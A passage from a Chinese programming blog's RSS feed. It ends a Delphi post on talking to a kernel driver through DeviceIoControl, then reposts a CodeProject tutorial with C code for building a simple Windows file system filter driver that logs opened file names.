&nbsp;&nbsp;if&nbsp;m_hCommDevice&nbsp;&lt;&gt;&nbsp;0&nbsp;then
&nbsp;&nbsp;begin
&nbsp;&nbsp;&nbsp;&nbsp;DeviceIoControl(m_hCommDevice,&nbsp;IoctlCode,&nbsp;@inData,&nbsp;&nbsp;Length(inData),&nbsp;@outData,&nbsp;Length(outData),&nbsp;dwReturn,&nbsp;nil);
&nbsp;&nbsp;&nbsp;&nbsp;AOutData&nbsp;:=&nbsp;StrPas(@outData);
&nbsp;&nbsp;end;
end;
</pre>
</div>
上面是进行发送和接受的过程。<br>需要通信，只要如下做：<br>
<div style="MARGIN: 5px 20px 20px">
<div style="MARGIN-BOTTOM: 2px" class=smallfont>代码:</div>
<pre style="BORDER-BOTTOM: 1px inset; TEXT-ALIGN: left; BORDER-LEFT: 1px inset; PADDING-BOTTOM: 6px; BACKGROUND-COLOR: #dedfdf; MARGIN: 0px; PADDING-LEFT: 6px; WIDTH: 850px; PADDING-RIGHT: 6px; OVERFLOW: auto; BORDER-TOP: 1px inset; BORDER-RIGHT: 1px inset; PADDING-TOP: 6px" dir=ltr>procedure&nbsp;TfrmMain.&nbsp;btnDirect_IN_IOClick&nbsp;(Sender:&nbsp;TObject);
var
&nbsp;&nbsp;outData:String;
begin
&nbsp;&nbsp;Send_Recv_Data(Trim(edtDirect_in_in.Text),&nbsp;outData,&nbsp;IOCTL_COMM_DIRECT_IN_IO);
&nbsp;&nbsp;edtDirect_in_out.Text&nbsp;:=&nbsp;outData;
end;
</pre>
</div>
这是&nbsp;direct_in方式通信，其他通信方式类似，大家可以参考代码了，这里就不列举了，由于代码比较简单，我就不多说了，大家还是看代码吧，很好明白。最后，给个测试图：<br><br>应用层：<br><img style="MARGIN: 2px; CURSOR: pointer" onmouseover=pointer border=0 alt="" src="http://bbs.pediy.com/attachment.php?attachmentid=10929&amp;d=1199418875" width=614 onload="if(this.width>screen.width*0.6) {this.width=screen.width*0.6;this.alt='';this.onmouseover=this.style.cursor='pointer'; this.onclick=function(){window.open('http://bbs.pediy.com/attachment.php?attachmentid=10929&amp;d=1199418875')}}"><br>驱动层:<br><img style="MARGIN: 2px; CURSOR: pointer" onmouseover=pointer border=0 alt="" src="http://bbs.pediy.com/attachment.php?attachmentid=10930&amp;d=1199418875" width=614 onload="if(this.width>screen.width*0.6) {this.width=screen.width*0.6;this.alt='';this.onmouseover=this.style.cursor='pointer'; this.onclick=function(){window.open('http://bbs.pediy.com/attachment.php?attachmentid=10930&amp;d=1199418875')}}"><br><br>代码：<br><a title="" href="http://bbs.pediy.com/attachment.php?attachmentid=10931&amp;d=1199419054"><font color=#000000>驱动和应用层通信.rar</font></a><a href="javascript:whodownloaded(10931)"><font color=#000000>[谁下载?]</font></a> 
<img src ="http://www.cppblog.com/iniwf/aggbug/111829.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/iniwf/" target="_blank">iniwf</a> 2010-04-07 10:08 <a href="http://www.cppblog.com/iniwf/archive/2010/04/07/111829.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>File System Filter Driver Tutorial</title><link>http://www.cppblog.com/iniwf/archive/2010/04/02/111361.html</link><dc:creator>iniwf</dc:creator><author>iniwf</author><pubDate>Fri, 02 Apr 2010 01:23:00 GMT</pubDate><guid>http://www.cppblog.com/iniwf/archive/2010/04/02/111361.html</guid><wfw:comment>http://www.cppblog.com/iniwf/comments/111361.html</wfw:comment><comments>http://www.cppblog.com/iniwf/archive/2010/04/02/111361.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/iniwf/comments/commentRss/111361.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/iniwf/services/trackbacks/111361.html</trackback:ping><description><![CDATA[转自：<a href="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial.aspx">http://www.codeproject.com/KB/system/fs-filter-driver-tutorial.aspx</a><br><br>
<ul class=download>
    <li><a href="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial/FsFilter.zip">Download source code - 9.42 KB</a> </li>
</ul>
<h2>Contents</h2>
<ol>
    <li><a href="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial.aspx#_Toc244423396">Introduction</a>
    <li><a href="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial.aspx#_Toc244423398">Creating a simple File System Filter Driver</a>
    <li><a href="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial.aspx#_Toc244423419">How to install a driver</a>
    <li><a href="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial.aspx#_Toc244423426">Running a sample</a>
    <li><a href="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial.aspx#_Toc244423427">Improvements</a>
    <li><a href="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial.aspx#_Toc244423428">Conclusion</a>
    <li><a href="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial.aspx#_Toc244423429">Useful references</a> </li>
</ol>
<h2><a id=_Toc244423396 name=_Toc244423396>Introduction</a></h2>
<p>This tutorial will show you how to develop a simple file system filter driver. The demo driver will print the names of opening files to the debug output.</p>
<p>The article requires basic Windows driver development and C/C++ knowledge. However, it may also be interesting to people without Windows driver development experience.</p>
<h3><a id=_Toc244423397 name=_Toc244423397>What is a file system filter driver?</a></h3>
<p>A file system filter driver is called on every file system I/O operation (create, read, write, rename, and etc.), and thus it can modify the file system behavior. File system filter drivers are almost similar to legacy drivers, but they require some special steps to do. Such drivers are used by anti-viruses, security, backup, and snapshot software.</p>
<h2><a id=_Toc244423398 name=_Toc244423398>Creating a simple File System Filter Driver</a></h2>
<h3><a id=_Toc244423399 name=_Toc244423399>Before starting</a></h3>
<p>To build a driver, you need WDK or the IFS Kit. You can get them from <a href="http://www.microsoft.com/whdc/devtools/downloads.mspx">Microsoft&#8217;s website</a>. Also, you have to set an environment variable <code>%WINDDK%</code> to the path where you have installed the WDK/IFS Kit.</p>
<p><strong>Be careful:</strong> Even a small error in the driver may cause a BSOD or system instability.</p>
<h3><a id=_Toc244423400 name=_Toc244423400>Main.c</a></h3>
<h4><a id=_Toc244423401 name=_Toc244423401>Driver entry</a></h4>
<p>This is the entry point of any driver. The first thing that we do is to store <code>DriverObject</code> to a global variable (we will need it later).</p>
<div style="WIDTH: 100%" id=premain0 class=small-text><img style="CURSOR: pointer" id=preimg0 src="http://www.codeproject.com/images/minus.gif" width=9 height=9 preid="0"><span style="MARGIN-BOTTOM: 0px; CURSOR: pointer" id=precollapse0 preid="0"> Collapse</span><img style="MARGIN-LEFT: 35px" src="http://www.codeproject.com/images/copy_16.png" width=16 height=16><a href="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial.aspx#" preid="0"> Copy Code</a></div>
<pre style="MARGIN-TOP: 0px" id=pre0 lang=C++><span class=code-SummaryComment>///</span><span class=code-comment>/////////////////////////////////////////////////////
</span><span class=code-comment>//</span><span class=code-comment> Global data
</span>
PDRIVER_OBJECT   g_fsFilterDriverObject = NULL;
<span class=code-SummaryComment>///</span><span class=code-comment>/////////////////////////////////////////////////////
</span><span class=code-comment>//</span><span class=code-comment> DriverEntry - Entry point of the driver
</span>
NTSTATUS DriverEntry(
__inout PDRIVER_OBJECT  DriverObject,
__in    PUNICODE_STRING RegistryPath
)
{
NTSTATUS status = STATUS_SUCCESS;
ULONG    i      = <span class=code-digit>0</span>;
<span class=code-comment>//</span><span class=code-comment>ASSERT(FALSE); // This will break to debugger
</span>
<span class=code-comment>//</span><span class=code-comment>
</span>    <span class=code-comment>//</span><span class=code-comment> Store our driver object.
</span>    <span class=code-comment>//</span><span class=code-comment>
</span>
g_fsFilterDriverObject = DriverObject;
...
}</pre>
<h4><a id=_Toc244423402 name=_Toc244423402>Set IRP dispatch table</a></h4>
<p>The next step is to populate the IRP dispatch table with function pointers to IRP handlers. In our filter driver, there is a generic pass-through IRP handler (which sends the request further). And, we will need a handler for <code>IRP_MJ_CREATE</code> to retrieve the names of the opening files. The implementation of the IRP handlers will be described later.</p>
<div style="WIDTH: 100%" id=premain1 class=small-text><img style="CURSOR: pointer" id=preimg1 src="http://www.codeproject.com/images/minus.gif" width=9 height=9 preid="1"><span style="MARGIN-BOTTOM: 0px; CURSOR: pointer" id=precollapse1 preid="1"> Collapse</span><img style="MARGIN-LEFT: 35px" src="http://www.codeproject.com/images/copy_16.png" width=16 height=16><a href="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial.aspx#" preid="1"> Copy Code</a></div>
<pre style="MARGIN-TOP: 0px" id=pre1 lang=C++><span class=code-SummaryComment>///</span><span class=code-comment>///////////////////////////////////////////////////////////////////////
</span><span class=code-comment>//</span><span class=code-comment> DriverEntry - Entry point of the driver
</span>
NTSTATUS DriverEntry(
__inout PDRIVER_OBJECT  DriverObject,
__in    PUNICODE_STRING RegistryPath
)
{
...
<span class=code-comment>//</span><span class=code-comment>
</span>    <span class=code-comment>//</span><span class=code-comment>  Initialize the driver object dispatch table.
</span>    <span class=code-comment>//</span><span class=code-comment>
</span>
<span class=code-keyword>for</span> (i = <span class=code-digit>0</span>; i <span class=code-keyword>&lt;</span>= IRP_MJ_MAXIMUM_FUNCTION; ++i)
{
DriverObject-<span class=code-keyword>&gt;</span>MajorFunction[i] = FsFilterDispatchPassThrough;
}
DriverObject-<span class=code-keyword>&gt;</span>MajorFunction[IRP_MJ_CREATE] = FsFilterDispatchCreate;
...
}</pre>
<h4><a id=_Toc244423403 name=_Toc244423403>Set Fast-IO dispatch table</a></h4>
<p>A file system filter driver must have the fast-IO dispatch table. If you&#8217;ve forgot to set up the fast-IO dispatch table, it will lead to system crash. Fast-IO is an alternative way to initiate I/O operations (and it&#8217;s faster than IRP). Fast-IO operations are always synchronous. If the Fast-IO handler returns <code>FALSE</code>, it means the Fast-IO way is impossible and an IRP will be created.</p>
<div style="WIDTH: 100%" id=premain2 class=small-text><img style="CURSOR: pointer" id=preimg2 src="http://www.codeproject.com/images/minus.gif" width=9 height=9 preid="2"><span style="MARGIN-BOTTOM: 0px; CURSOR: pointer" id=precollapse2 preid="2"> Collapse</span><img style="MARGIN-LEFT: 35px" src="http://www.codeproject.com/images/copy_16.png" width=16 height=16><a href="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial.aspx#" preid="2"> Copy Code</a></div>
<pre style="MARGIN-TOP: 0px" id=pre2 lang=C++><span class=code-SummaryComment>///</span><span class=code-comment>///////////////////////////////////////////////////////////////////////
</span><span class=code-comment>//</span><span class=code-comment> Global data
</span>
FAST_IO_DISPATCH g_fastIoDispatch =
{
<span class=code-keyword>sizeof</span>(FAST_IO_DISPATCH),
FsFilterFastIoCheckIfPossible,
...
};
<span class=code-SummaryComment>///</span><span class=code-comment>///////////////////////////////////////////////////////////////////////
</span><span class=code-comment>//</span><span class=code-comment> DriverEntry - Entry point of the driver
</span>
NTSTATUS DriverEntry(
__inout PDRIVER_OBJECT  DriverObject,
__in    PUNICODE_STRING RegistryPath
)
{
...
<span class=code-comment>//</span><span class=code-comment>
</span>    <span class=code-comment>//</span><span class=code-comment> Set fast-io dispatch table.
</span>    <span class=code-comment>//</span><span class=code-comment>
</span>
DriverObject-<span class=code-keyword>&gt;</span>FastIoDispatch = &amp;g_fastIoDispatch;
...
}</pre>
<h4><a id=_Toc244423404 name=_Toc244423404>Register a notification for file system changes</a></h4>
<p>We should track the file system being activated/deactivated to perform attaching/detaching of our file system filter driver. How to start tracking file system changes is shown below.</p>
<div style="WIDTH: 100%" id=premain3 class=small-text><img style="CURSOR: pointer" id=preimg3 src="http://www.codeproject.com/images/minus.gif" width=9 height=9 preid="3"><span style="MARGIN-BOTTOM: 0px; CURSOR: pointer" id=precollapse3 preid="3"> Collapse</span><img style="MARGIN-LEFT: 35px" src="http://www.codeproject.com/images/copy_16.png" width=16 height=16><a href="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial.aspx#" preid="3"> Copy Code</a></div>
<pre style="MARGIN-TOP: 0px" id=pre3 lang=C++><span class=code-SummaryComment>///</span><span class=code-comment>///////////////////////////////////////////////////////////////////////
</span><span class=code-comment>//</span><span class=code-comment> DriverEntry - Entry point of the driver
</span>
NTSTATUS DriverEntry(
__inout PDRIVER_OBJECT  DriverObject,
__in    PUNICODE_STRING RegistryPath
)
{
...
<span class=code-comment>//</span><span class=code-comment>
</span>    <span class=code-comment>//</span><span class=code-comment>  Registered callback routine for file system changes.
</span>    <span class=code-comment>//</span><span class=code-comment>
</span>
status = IoRegisterFsRegistrationChange(DriverObject,
FsFilterNotificationCallback);
<span class=code-keyword>if</span> (!NT_SUCCESS(status))
{
<span class=code-keyword>return</span> status;
}
...
}</pre>
<h4><a id=_Toc244423405 name=_Toc244423405>Set</a> driver unload routine</h4>
<p>The last part of the driver initialization sets an unload routine. Setting the driver unload routine makes the driver unloadable, and you can load/unload it multiple times without system restart. However, this driver is made unloadable only for debugging purpose, because file system filters can&#8217;t be unloaded safely. <strong>Never do this in production code.</strong></p>
<div style="WIDTH: 100%" id=premain4 class=small-text><img style="CURSOR: pointer" id=preimg4 src="http://www.codeproject.com/images/minus.gif" width=9 height=9 preid="4"><span style="MARGIN-BOTTOM: 0px; CURSOR: pointer" id=precollapse4 preid="4"> Collapse</span><img style="MARGIN-LEFT: 35px" src="http://www.codeproject.com/images/copy_16.png" width=16 height=16><a href="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial.aspx#" preid="4"> Copy Code</a></div>
<pre style="MARGIN-TOP: 0px" id=pre4 lang=C++><span class=code-SummaryComment>///</span><span class=code-comment>///////////////////////////////////////////////////////////////////////
</span><span class=code-comment>//</span><span class=code-comment> DriverEntry - Entry point of the driver
</span>
NTSTATUS DriverEntry(
__inout PDRIVER_OBJECT  DriverObject,
__in    PUNICODE_STRING RegistryPath
)
{
...
<span class=code-comment>//</span><span class=code-comment>
</span>    <span class=code-comment>//</span><span class=code-comment> Set driver unload routine (debug purpose only).
</span>    <span class=code-comment>//</span><span class=code-comment>
</span>
DriverObject-<span class=code-keyword>&gt;</span>DriverUnload = FsFilterUnload;
<span class=code-keyword>return</span> STATUS_SUCCESS;
}</pre>
<h4><a id=_Toc244423406 name=_Toc244423406>Driver unload implementation</a></h4>
<p>Driver unload routine is responsible for cleaning up and deallocation of resources. First of all, unregister the notification for file system changes.</p>
<div style="WIDTH: 100%" id=premain5 class=small-text><img style="CURSOR: pointer" id=preimg5 src="http://www.codeproject.com/images/minus.gif" width=9 height=9 preid="5"><span style="MARGIN-BOTTOM: 0px; CURSOR: pointer" id=precollapse5 preid="5"> Collapse</span><img style="MARGIN-LEFT: 35px" src="http://www.codeproject.com/images/copy_16.png" width=16 height=16><a href="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial.aspx#" preid="5"> Copy Code</a></div>
<pre style="MARGIN-TOP: 0px" id=pre5 lang=C++><span class=code-SummaryComment>///</span><span class=code-comment>///////////////////////////////////////////////////////////////////////
</span><span class=code-comment>//</span><span class=code-comment> Unload routine
</span>
VOID FsFilterUnload(
__in PDRIVER_OBJECT DriverObject
)
{
...
<span class=code-comment>//</span><span class=code-comment>
</span>    <span class=code-comment>//</span><span class=code-comment>  Unregistered callback routine for file system changes.
</span>    <span class=code-comment>//</span><span class=code-comment>
</span>
IoUnregisterFsRegistrationChange(DriverObject, FsFilterNotificationCallback);
...
}</pre>
<p>Then loop through the devices we created, detach and delete them. Wait for 5 seconds to let all outstanding IRPs to be completed. As it was mentioned before, this is a debug only solution. It works in the majority of cases, but there is no guarantee for all.</p>
<div style="WIDTH: 100%" id=premain6 class=small-text><img style="CURSOR: pointer" id=preimg6 src="http://www.codeproject.com/images/minus.gif" width=9 height=9 preid="6"><span style="MARGIN-BOTTOM: 0px; CURSOR: pointer" id=precollapse6 preid="6"> Collapse</span><img style="MARGIN-LEFT: 35px" src="http://www.codeproject.com/images/copy_16.png" width=16 height=16><a href="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial.aspx#" preid="6"> Copy Code</a></div>
<pre style="MARGIN-TOP: 0px" id=pre6 lang=C++><span class=code-SummaryComment>///</span><span class=code-comment>///////////////////////////////////////////////////////////////////////
</span><span class=code-comment>//</span><span class=code-comment> Unload routine
</span>
VOID FsFilterUnload(
__in PDRIVER_OBJECT DriverObject
)
{
...
<span class=code-keyword>for</span> (;;)
{
IoEnumerateDeviceObjectList(
DriverObject,
devList,
<span class=code-keyword>sizeof</span>(devList),
&amp;numDevices);
<span class=code-keyword>if</span> (<span class=code-digit>0</span> == numDevices)
{
<span class=code-keyword>break</span>;
}
numDevices = min(numDevices, RTL_NUMBER_OF(devList));
<span class=code-keyword>for</span> (i = <span class=code-digit>0</span>; i <span class=code-keyword>&lt;</span> numDevices; ++i)
{
FsFilterDetachFromDevice(devList[i]);
ObDereferenceObject(devList[i]);
}
KeDelayExecutionThread(KernelMode, FALSE, &amp;interval);
}
}</pre>
<h3><a id=_Toc244423407 name=_Toc244423407>IrpDispatch.c</a></h3>
<h4><a id=_Toc244423408 name=_Toc244423408>Dispatch pass-through</a></h4>
<p>This IRP handler does nothing except passing requests further to the next driver. We have the next driver object stored in our device extension.</p>
<div style="WIDTH: 100%" id=premain7 class=small-text><img style="CURSOR: pointer" id=preimg7 src="http://www.codeproject.com/images/minus.gif" width=9 height=9 preid="7"><span style="MARGIN-BOTTOM: 0px; CURSOR: pointer" id=precollapse7 preid="7"> Collapse</span><img style="MARGIN-LEFT: 35px" src="http://www.codeproject.com/images/copy_16.png" width=16 height=16><a href="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial.aspx#" preid="7"> Copy Code</a></div>
<pre style="MARGIN-TOP: 0px" id=pre7 lang=C++><span class=code-SummaryComment>///</span><span class=code-comment>//////////////////////////////////////////////////////////////
</span><span class=code-comment>//</span><span class=code-comment> PassThrough IRP Handler
</span>
NTSTATUS FsFilterDispatchPassThrough(
__in PDEVICE_OBJECT DeviceObject,
__in PIRP           Irp
)
{
PFSFILTER_DEVICE_EXTENSION pDevExt =
(PFSFILTER_DEVICE_EXTENSION)DeviceObject-<span class=code-keyword>&gt;</span>DeviceExtension;
IoSkipCurrentIrpStackLocation(Irp);
<span class=code-keyword>return</span> IoCallDriver(pDevExt-<span class=code-keyword>&gt;</span>AttachedToDeviceObject, Irp);
}</pre>
<h4><a id=_Toc244423409 name=_Toc244423409>Dispatch create</a></h4>
<p>This IRP handler is invoked on every create file operation. We will grab a filename from <code>PFILE_OBJECT</code> and print it to the debug output. Then, we call the pass-through handler described above. Pay attention to the fact that a valid file name exists in <code>PFILE_OBJECT</code> only while the create file operation is being performed! Also there are relative opens, and opens by ID. Retrieving file names in those cases is beyond the scope of this article.</p>
<div style="WIDTH: 100%" id=premain8 class=small-text><img style="CURSOR: pointer" id=preimg8 src="http://www.codeproject.com/images/minus.gif" width=9 height=9 preid="8"><span style="MARGIN-BOTTOM: 0px; CURSOR: pointer" id=precollapse8 preid="8"> Collapse</span><img style="MARGIN-LEFT: 35px" src="http://www.codeproject.com/images/copy_16.png" width=16 height=16><a href="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial.aspx#" preid="8"> Copy Code</a></div>
<pre style="MARGIN-TOP: 0px" id=pre8 lang=C++><span class=code-SummaryComment>///</span><span class=code-comment>///////////////////////////////////////////////////////////////////////////
</span><span class=code-comment>//</span><span class=code-comment> IRP_MJ_CREATE IRP Handler
</span>
NTSTATUS FsFilterDispatchCreate(
__in PDEVICE_OBJECT DeviceObject,
__in PIRP           Irp
)
{
PFILE_OBJECT pFileObject = IoGetCurrentIrpStackLocation(Irp)-<span class=code-keyword>&gt;</span>FileObject;
DbgPrint(<span class=code-string>"</span><span class=code-string>%wZ\n"</span>, &amp;pFileObject-<span class=code-keyword>&gt;</span>FileName);
<span class=code-keyword>return</span> FsFilterDispatchPassThrough(DeviceObject, Irp);
}</pre>
<h3><a id=_Toc244423410 name=_Toc244423410>FastIo.c</a></h3>
<p>To test the Fast-IO dispatch table validity for the next driver, we will use the following helper macro (not all of the Fast-IO routines must be implemented by the underlying file system, so we have to be sure about that):</p>
<div style="WIDTH: 100%" id=premain9 class=small-text><img style="CURSOR: pointer" id=preimg9 src="http://www.codeproject.com/images/minus.gif" width=9 height=9 preid="9"><span style="MARGIN-BOTTOM: 0px; CURSOR: pointer" id=precollapse9 preid="9"> Collapse</span><img style="MARGIN-LEFT: 35px" src="http://www.codeproject.com/images/copy_16.png" width=16 height=16><a href="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial.aspx#" preid="9"> Copy Code</a></div>
<pre style="MARGIN-TOP: 0px" id=pre9 lang=C++><span class=code-comment>//</span><span class=code-comment>  Macro to test if FAST_IO_DISPATCH handling routine is valid
</span><span class=code-preprocessor>#define</span> VALID_FAST_IO_DISPATCH_HANDLER(_FastIoDispatchPtr, _FieldName) \
(((_FastIoDispatchPtr) != NULL) &amp;&amp; \
(((_FastIoDispatchPtr)-<span class=code-keyword>&gt;</span>SizeOfFastIoDispatch) <span class=code-keyword>&gt;</span>= \
(FIELD_OFFSET(FAST_IO_DISPATCH, _FieldName) + <span class=code-keyword>sizeof</span>(<span class=code-keyword>void</span> *))) &amp;&amp; \
((_FastIoDispatchPtr)-<span class=code-keyword>&gt;</span>_FieldName != NULL))</pre>
<h4><a id=_Toc244423411 name=_Toc244423411>Fast-IO pass-through</a></h4>
<p>Passing through Fast-IO requests requires writing a lot of code (in contrast to passing through IRP requests) because each Fast-IO function has its own set of parameters. A typical pass-through function is shown below:</p>
<div style="WIDTH: 100%" id=premain10 class=small-text><img style="CURSOR: pointer" id=preimg10 src="http://www.codeproject.com/images/minus.gif" width=9 height=9 preid="10"><span style="MARGIN-BOTTOM: 0px; CURSOR: pointer" id=precollapse10 preid="10"> Collapse</span><img style="MARGIN-LEFT: 35px" src="http://www.codeproject.com/images/copy_16.png" width=16 height=16><a href="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial.aspx#" preid="10"> Copy Code</a></div>
<pre style="MARGIN-TOP: 0px" id=pre10 lang=C++><span class=code-SDKkeyword>BOOLEAN</span> FsFilterFastIoQueryBasicInfo(
__in PFILE_OBJECT       FileObject,
__in <span class=code-SDKkeyword>BOOLEAN</span>            Wait,
__out PFILE_BASIC_INFORMATION Buffer,
__out PIO_STATUS_BLOCK  IoStatus,
__in PDEVICE_OBJECT     DeviceObject
)
{
<span class=code-comment>//</span><span class=code-comment>
</span>    <span class=code-comment>//</span><span class=code-comment>  Pass through logic for this type of Fast I/O
</span>    <span class=code-comment>//</span><span class=code-comment>
</span>
PDEVICE_OBJECT    nextDeviceObject =
((PFSFILTER_DEVICE_EXTENSION)DeviceObject-<span class=code-keyword>&gt;</span>DeviceExtension)-<span class=code-keyword>&gt;</span>AttachedToDeviceObject;
PFAST_IO_DISPATCH fastIoDispatch   = nextDeviceObject-<span class=code-keyword>&gt;</span>DriverObject-<span class=code-keyword>&gt;</span>FastIoDispatch;
<span class=code-keyword>if</span> (VALID_FAST_IO_DISPATCH_HANDLER(fastIoDispatch, FastIoQueryBasicInfo))
{
<span class=code-keyword>return</span> (fastIoDispatch-<span class=code-keyword>&gt;</span>FastIoQueryBasicInfo)(
FileObject,
Wait,
Buffer,
IoStatus,
nextDeviceObject);
}
<span class=code-keyword>return</span> FALSE;
}</pre>
<h4><a id=_Toc244423412 name=_Toc244423412>Fast-IO detach device</a></h4>
<p>This is a special Fast-IO request which we have to handle ourselves and not call the next driver. We have to detach our filter device from the file system device stack and delete our device. That can be done easily by the following code:</p>
<div style="WIDTH: 100%" id=premain11 class=small-text><img style="CURSOR: pointer" id=preimg11 src="http://www.codeproject.com/images/minus.gif" width=9 height=9 preid="11"><span style="MARGIN-BOTTOM: 0px; CURSOR: pointer" id=precollapse11 preid="11"> Collapse</span><img style="MARGIN-LEFT: 35px" src="http://www.codeproject.com/images/copy_16.png" width=16 height=16><a href="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial.aspx#" preid="11"> Copy Code</a></div>
<pre style="MARGIN-TOP: 0px" id=pre11 lang=C++>VOID FsFilterFastIoDetachDevice(
__in PDEVICE_OBJECT     SourceDevice,
__in PDEVICE_OBJECT     TargetDevice
)
{
<span class=code-comment>//</span><span class=code-comment>
</span>    <span class=code-comment>//</span><span class=code-comment>  Detach from the file system's volume device object.
</span>    <span class=code-comment>//</span><span class=code-comment>
</span>
IoDetachDevice(TargetDevice);
IoDeleteDevice(SourceDevice);
}</pre>
<h3><a id=_Toc244423413 name=_Toc244423413>Notification.c</a></h3>
<p>A typical file system consists of a control device and volume devices. A volume device is attached to the storage device stack. The control device is registered as a file system.</p>
<p><img alt=01-fsDevices.png src="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial/01-fsDevices.png" width=389 height=492 complete="true"></p>
<div class=Caption>Figure 1 - Devices of the typical file system</div>
<p>We have a callback which is invoked for all active file systems and whenever a file system has either registered or unregistered itself as an active one. This is a good place to attach/detach our filter device. When a file system activates itself, we attach to its control device (only if we are not already attached), enumerate its volume devices, and attach to them too. On file system deactivation, we examine the file system control device stack, find our device, and detach it. Detaching from the file system volume devices is performed in the <code>FsFilterFastIoDetachDevice</code> routine described earlier.</p>
<div style="WIDTH: 100%" id=premain12 class=small-text><img style="CURSOR: pointer" id=preimg12 src="http://www.codeproject.com/images/minus.gif" width=9 height=9 preid="12"><span style="MARGIN-BOTTOM: 0px; CURSOR: pointer" id=precollapse12 preid="12"> Collapse</span><img style="MARGIN-LEFT: 35px" src="http://www.codeproject.com/images/copy_16.png" width=16 height=16><a href="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial.aspx#" preid="12"> Copy Code</a></div>
<pre style="MARGIN-TOP: 0px" id=pre12 lang=C++><span class=code-SummaryComment>///</span><span class=code-comment>/////////////////////////////////////////////////////////////////////////
</span><span class=code-comment>//</span><span class=code-comment> This routine is invoked whenever a file system has either registered or
</span><span class=code-comment>//</span><span class=code-comment> unregistered itself as an active file system.
</span>
VOID FsFilterNotificationCallback(
__in PDEVICE_OBJECT DeviceObject,
__in <span class=code-SDKkeyword>BOOLEAN</span>        FsActive
)
{
<span class=code-comment>//</span><span class=code-comment>
</span>    <span class=code-comment>//</span><span class=code-comment>  Handle attaching/detaching from the given file system.
</span>    <span class=code-comment>//</span><span class=code-comment>
</span>
<span class=code-keyword>if</span> (FsActive)
{
FsFilterAttachToFileSystemDevice(DeviceObject);
}
<span class=code-keyword>else</span>
{
FsFilterDetachFromFileSystemDevice(DeviceObject);
}
}</pre>
<h3><a id=_Toc244423414 name=_Toc244423414>AttachDetach.c</a></h3>
<p>This file contains helper routines for attaching, detaching, and checking whether our filter is already attached.</p>
<h4><a id=_Toc244423415 name=_Toc244423415>Attaching</a></h4>
<p>To perform attaching, we create a new device object with the device extension (call <code>IoCreateDevice</code>) and the propagate device object flags from the device object we are trying to attach to (<code>DO_BUFFERED_IO</code>, <code>DO_DIRECT_IO</code>, <code>FILE_DEVICE_SECURE_OPEN</code>). Then, we call <code>IoAttachDeviceToDeviceStackSafe</code> in a loop with a delay in the case of failure. It is possible for this attachment request to fail because the device object has not finished initialization. This situation can occur if we try to mount the filter that was loaded as the volume only. When attaching is finished, we save the &#8220;attached to&#8221; device object to the device extension and clear the <code>DO_DEVICE_INITIALIZING</code> flag. The device extension is shown below:</p>
<div style="WIDTH: 100%" id=premain13 class=small-text><img style="CURSOR: pointer" id=preimg13 src="http://www.codeproject.com/images/minus.gif" width=9 height=9 preid="13"><span style="MARGIN-BOTTOM: 0px; CURSOR: pointer" id=precollapse13 preid="13"> Collapse</span><img style="MARGIN-LEFT: 35px" src="http://www.codeproject.com/images/copy_16.png" width=16 height=16><a href="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial.aspx#" preid="13"> Copy Code</a></div>
<pre style="MARGIN-TOP: 0px" id=pre13 lang=C++><span class=code-SummaryComment>///</span><span class=code-comment>///////////////////////////////////////////////////////////////////////
</span><span class=code-comment>//</span><span class=code-comment> Structures
</span>
<span class=code-keyword>typedef</span> <span class=code-keyword>struct</span> _FSFILTER_DEVICE_EXTENSION
{
PDEVICE_OBJECT AttachedToDeviceObject;
} FSFILTER_DEVICE_EXTENSION, *PFSFILTER_DEVICE_EXTENSION;</pre>
<h4><a id=_Toc244423416 name=_Toc244423416>Detaching</a></h4>
<p>Detaching is quite simple. Get the &#8220;attached to&#8221; device object from the device extension and call <code>IoDetachDevice</code> and <code>IoDeleteDevice</code>.</p>
<div style="WIDTH: 100%" id=premain14 class=small-text><img style="CURSOR: pointer" id=preimg14 src="http://www.codeproject.com/images/minus.gif" width=9 height=9 preid="14"><span style="MARGIN-BOTTOM: 0px; CURSOR: pointer" id=precollapse14 preid="14"> Collapse</span><img style="MARGIN-LEFT: 35px" src="http://www.codeproject.com/images/copy_16.png" width=16 height=16><a href="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial.aspx#" preid="14"> Copy Code</a></div>
<pre style="MARGIN-TOP: 0px" id=pre14 lang=C++><span class=code-keyword>void</span> FsFilterDetachFromDevice(
__in PDEVICE_OBJECT DeviceObject
)
{
PFSFILTER_DEVICE_EXTENSION pDevExt =
(PFSFILTER_DEVICE_EXTENSION)DeviceObject-<span class=code-keyword>&gt;</span>DeviceExtension;
IoDetachDevice(pDevExt-<span class=code-keyword>&gt;</span>AttachedToDeviceObject);
IoDeleteDevice(DeviceObject);
}</pre>
<h4><a id=_Toc244423417 name=_Toc244423417>Checking whether our device is attached</a></h4>
<p>To check whether we are attached to a device, we have to iterate through the device stack (using <code>IoGetAttachedDeviceReference</code> and <code>IoGetLowerDeviceObject</code>) and search for our device there. We distinguish our devices by comparing the device driver object with our driver object (<code>g_fsFilterDriverObject</code>).</p>
